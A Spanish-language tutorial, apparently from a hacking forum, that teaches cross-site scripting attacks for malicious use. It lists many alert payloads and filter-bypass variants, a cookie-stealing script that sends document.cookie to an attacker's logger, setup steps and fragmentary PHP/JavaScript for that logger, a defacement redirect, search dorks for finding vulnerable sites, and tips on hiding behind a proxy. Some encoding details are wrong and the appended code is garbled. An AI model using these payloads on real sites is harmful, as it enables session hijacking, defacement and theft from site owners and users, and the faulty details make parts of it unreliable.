TUTORIAL XSS (Cross Site Scripting)

¿Qué es XSS?

XSS es sinónimo de Cross-Site-Scripting. Se trata básicamente de un ataque, que se utiliza para ejecutar código HTML y Javascript en la página web. Este ataque se puede realizar mediante la presentación de consultas en cuadros de texto, o incluso en la URL. Los resultados vuelven a leer el texto en formato HTML, por lo que ejecuta las secuencias de comandos en lugar de mostrarlos en texto plano. Con un ataque XSS, se puede robar las cookies de un administrador de la web, o incluso utilizar algo de ingeniería social para manipular a alguien para descargar un virus que ha creado. Por ejemplo, un botnet, o RAT, tal vez incluso un Keylogger. Los XSS pueden ser muy peligrosos, pero también puede ser muy leve. Hay muchas maneras de usar XSS para su ventaja. Voy a citar algunos ejemplos:

Puede utilizar un cuadro de alerta para realizar publicidad, o alertar a la web-admin que ha descubierto un fallo de seguridad que implica XSS. También puede configurar un Cookie-Stealer/Logger. Cualquier cosa que usted puede ver con HTML, se puede utilizar contra un sitio con este ataque. Voy a explicar algunos de los términos más importantes relacionados con XSS.

¿Qué es HTML y Javascript?

HTML:

HTML es algo así como un lenguaje de programación. Las diferencias entre un lenguaje de programación y HTML, no están demasiado separados, son dos idiomas, que se utilizan para crear atributos y eventos. HTML es un lenguaje que se utiliza sobre todo para crear sitios web. HTML significa Lenguaje Hyper-Text Markup. Puedes usar HTML para crear formularios, botones y otras cosas que se pueden utilizar en una página web. Dudo mucho que se puedan encontrar un sitio web que no contenga incluso una pequeña cantidad de código HTML.

Javascript:

Ahora, en primer lugar, vamos a dejar una cosa clara. Hay una enorme diferencia entre Java y JavaScript. Java es un lenguaje que se asemeja a C++, que puede ser utilizado en los juegos y aplicaciones. Javascript es una especie similar al HTML, pero sin duda diferente en muchos aspectos. Javascript no utiliza la misma cantidad de páginas web como el HTML. Javascript se utiliza más en aplicaciones fuera de las páginas web. Al igual que los archivos PDF. Javascript puede ser un lenguaje increíblemente útil, junto con HTML. Ambos son bastante sencillo de aprender, y son muy dinámicos.

XSS: MI PRIMER ATAQUE:

Ahora, vamos a empezar a meterse en las cosas realmente buenas. En esta sección voy a explicar cómo usar XSS para su ventaja. También vamos a lanzar nuestro primer ataque con XSS, si usted sabe los fundamentos a XSS, se puede omitir esta sección.

Ahora, nuestro primer paso, obviamente, es encontrar un sitio vulnerable. Encontrar un sitio vulnerable a XSS es mucho más fácil que encontrar un sitio vulnerable a SQLI. El problema es que puede tomar tiempo para determinar si el sitio es muy vulnerable. Con SQLI, basta con añadir un poco ". Sin embargo, en XSS, deberá presentar (a veces) varias consultas, para poner a prueba un sitio para XSS.

Los sitios más vulnerables contendrá una búsqueda, inicio de sesión, o un área de Registro. Prácticamente en cualquier lugar que contenga un cuadro de texto, puede ser explotado con XSS. No obstante, mucha gente se olvida este hecho, y nunca lo usan en todo su potencial porque creo que es inservible. Usted no puede tomar cualquier secuencia de comandos, y editar la cosa completa. Sin embargo, la edición de una "onmouseover", es sin duda una excepción. 

De todas formas, nuestro sitio debe tener algunos cuadros de texto a la entrada de algo de HTML.

Por lo tanto, vamos a intentar poner la consulta básica de todos los tiempos:

<script>alert("XSS")</script>

Ese pequeño script, es HTML. Se hará un pequeño mensaje emergente, diciendo "XSS". Puede editar esa parte si lo desea. Eso sí, no modificar ninguna otra parte. Ponga esto en su barra de búsqueda y pulsa enter. Ahora, si un cuadro de alerta aparece entonces hemos atacado con éxito un sitio vulnerable a XSS! si no aparece ningún cuadro es porque eso significa que el sitio ha contiene algún filtro. 

Un filtro, es cuando buscamos algo, entonces pasa por un proceso pequeño, básicamente, una inspección. Se comprueba lo malicioso (peligroso). En este caso XSS. A veces, estos filtros son muy débiles, y puede ser pasado por alto con mucha facilidad, también puede ser bastante difícil de bypassear. Hay un montón de formas de evitar un filtro XSS. En primer lugar, tenemos que averiguar que cosa esta bloqueando el filtro. Una gran parte del tiempo, se bloquea la alerta. He aquí un ejemplo de este tipo de filtro:

<script>alert("XSS")</script>

>

<script>alert( > XSS DETECTED < )</script>

Se bloquean las comillas. Entonces, ¿cómo demonios se nos van pasando eso? Bueno, afortunadamente hay una manera de cifrar el mensaje completo . Nosotros vamos a usar una función que se llama "String.fromCharCode". El nombre de la misma más o menos lo explica todo. Cifra nuestro texto, en ASCII. Un ejemplo de este cifrado, sería así:

String.fromCharCode(88,83,83)

Puede ser un poco confuso, pero muy sencillo. Esto es lo que nuestra consulta completa se verá así:

<script>alert(String.fromCharCode(88,83,83))</script>

Así que vamos a poner de nuevo en la barra de búsqueda, y ¡Funcionó! Tenemos un cuadro de alerta diciendo "XSS"! Si aún no recibió ningún mensaje de alerta, pruebe algunas de estas:

"><script>alert("XSS")</script>

"><script>alert(String.fromCharCode(88,83,83))</script>

'><script>alert("XSS")</script>

'><script>alert(String.fromCharCode(88,83,83))</script>

<ScRIPt>aLeRT("XSS")</ScRIPt>

<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>

"><ScRIPt>aLeRT("XSS")</ScRIPt>

"><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>

'><ScRIPt>aLeRT("XSS")</ScRIPt>

'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>

</script><script>alert("XSS")</script>

</script><script>alert(String.fromCharCode(88,83,83))</script>

"/><script>alert("XSS")</script>

"/><script>alert(String.fromCharCode(88,83,83))</script>

'/><script>alert("XSS")</script>

'/><script>alert(String.fromCharCode(88,83,83))</script>

</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>

</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))

</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>

</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";alert("XSS");"

";alert(String.fromCharCode(88,83,83));"

';alert("XSS");'

';alert(String.fromCharCode(88,83,83));'

";alert("XSS")

";alert(String.fromCharCode(88,83,83))

';alert("XSS")

';alert(String.fromCharCode(88,83,83))

XSS: MÉTODOS AVANZADOS:

Ahora, en esta sección voy a compartir algunas maneras de usar XSS maliciosamente en contra de un sitio. Tenga en cuenta que todos los ataques maliciosos enviados a través de un sistema, un sitio o servidor, es ilegal y puede ser procesado por estas acciones. Así que siempre usar protección si usted está pensando en hacer algo malicioso en el sitio. Puede usar un servidor proxy/VPN.

Cookie Stealing/Logging

Ahora, robo de cookies es la cosa más dañino que podemos hacer con XSS no persistentes. Una cookie  registrará todas las cookies del usuario que accede a la página o a un documento determinado. La forma más sencilla de hacer esto, sería con un proceso de tres pasos.

En primer lugar, usted debe configurar un sitio. Personalmente, me parece lo mejor para http://www.000webhost.com/ oh un hosting de paga.

Ahora, una vez que haya creado su sitio web, vaya al administrador de archivos. Crear un nuevo archivo. Llámelo "CookieLog.txt" deje en blanco el código. Ahora bien, crear otro archivo con el nombre "CookieLogger.php". En CookieLogger.php, tenemos que añadir algo de código, para que envíe las cookies que inician una sesión, en nuestra sesión de Cookies. Añadir este código:

Código en Pastebin: http://pastebin.com/RAveZbpV

Ahora que tenemos nuestro script, podemos enviar el registrador de cookies a cualquier persona. 

Esta es la secuencia de comandos que se iniciará el registro de nuestra cookie.

<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>

Una vez que obtenga la cookie, puede utilizar el addon de Firefox "cookies Manager" para manipular y editar las cookies para que pueda secuestrar la sesión de los administradores. Cookie Manager me parece una aplicación muy útil para XSS.

DEFACING:

Defacing es una de las cosas más comunes que la gente le gusta hacer cuando no tienen acceso a las opciones de administrador múltiples. Sobre todo, para que puedan anunciarse a sí mismos, y simplemente dejar que el administrador sepa que su seguridad ha sido violada. De todas formas, defacear requiere XSS persistentes. Puede utilizar esta secuencia de comandos para redirigir a su página de deface:

<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>

XSS: ONMOUSEOVER

Onmousover no es una vulnerabilidad muy explotable. Pero, sin embargo, todavía se considera XSS. Existe una vulnerabilidad de onmouseover la cual se vería algo como esto:

onmouseover=prompt1337

Podemos aprovechar est, mediante la edición a:

onmouseover=alert("XSS")

XSS FILTER BYPASSING TECHNIQUES

A veces una consulta sencilla de XSS simplemente no funciona. La razón de que su consulta no funciona, es porque el sitio tiene un sistema FAT o el filtro en su lugar. 

Hay muchas maneras de pasar por los filtros XSS, pero sólo voy a explicar algunos.

Hex Bypassing

Con caracteres bloqueados como >,<  y  / es muy difícil de ejecutar una consulta de XSS pero no te preocupes, siempre hay una solución, puede cambiar sus caracteres, en hexadecimal. Un maleficio de un cierto carácter, es básicamente el caracter, pero en un formato diferente. Estos pueden serle de ayuda:

> = %3c 

< = %3c 

/ = %2f

ASCII Bypassing

Con una codificación ASCII, podemos utilizar el carácter  " que se bloquea un poco. Este es uno de los filtro XSS más común de todos los tiempos pero usted necesida una secuencia de comandos para cifrar, se vería así...:

NO FUNCIONA EL SCRIPT:

<script>alert("XSS")</script>

FUNCIONA EL SCRIPT:

<script>alert(String.fromCharCode(88,83,83))</script>

Para cifrar una pequeña parte de una secuencia de comandos, vaya a este sitio: http://www.wocares.com/noquote.php

Case-Sensitive Bypassing

Este tipo de derivación rara vez funciona, pero siempre vale la pena un tiro. Algunos filtros se establecen en el lugar para detectar ciertas cadenas, sin embargo, las cadenas del filtro que se bloquean entre mayúsculas y minúsculas. Así que todo lo que tenemos que hacer, es ejecutar un script, con diferentes tamaños de caracteres, ejemplo:

<ScRiPt>aLeRt("XSS")</ScRiPt>

Usted también puede mezclar eso con cifrado ASCII. Este tipo de derivación sólo funciona en los filtros realmente muy viejos.

Algunas Dorks XSS

inurl:search.php?

inurl:find.php?

inurl:search.html

inurl:find.html

inurl:search.aspx

inurl:find.aspx

Espero les sirva este tutorial.

Saludos.

0) { $fp=fopen('./CookieLog.txt', 'a'); fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n"); fclose($fp); } else { ?> var ownUrl = 'http://'; // == // URLEncode and URLDecode functions // // Copyright Albion Research Ltd. 2002 // http://www.albionresearch.com/ // // You may copy these functions providing that // (a) you leave this copyright notice intact, and // (b) if you use these functions on a publicly accessible // web site you include a credit somewhere on the web site // with a link back to http://www.albionresearch.com/ // // If you find or fix any bugs, please let us know at albionresearch.com // // SpecialThanks to Neelesh Thakur for being the first to // report a bug in URLDecode() - now fixed 2003-02-19. // And thanks to everyone else who has provided comments and suggestions. // == function URLEncode(str) { // The Javascript escape and unescape functions do not correspond // with what browsers actually do... var SAFECHARS = "0123456789" + // Numeric "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic "abcdefghijklmnopqrstuvwxyz" + "-_.!~*'()"; // RFC2396 Mark characters var HEX = "0123456789ABCDEF"; var plaintext = str; var encoded = ""; for (var i = 0; i < plaintext.length; i++ ) { var ch = plaintext.charAt(i); if (ch == " ") { encoded += "+"; // x-www-urlencoded, rather than %20 } else if (SAFECHARS.indexOf(ch) != -1) { encoded += ch; } else { var charCode = ch.charCodeAt(0); if (charCode > 255) { alert( "Unicode Character '" + ch + "' cannot be encoded using standard URL encoding.\n" + "(URL encoding only supports 8-bit characters.)\n" + "A space (+) will be substituted." ); encoded += "+"; } else { encoded += "%"; encoded += HEX.charAt((charCode >> 4) & 0xF); encoded += HEX.charAt(charCode & 0xF); } } } // for return encoded; }; cookie = URLEncode(document.cookie); html = ''; document.write(html); < ?php } ?>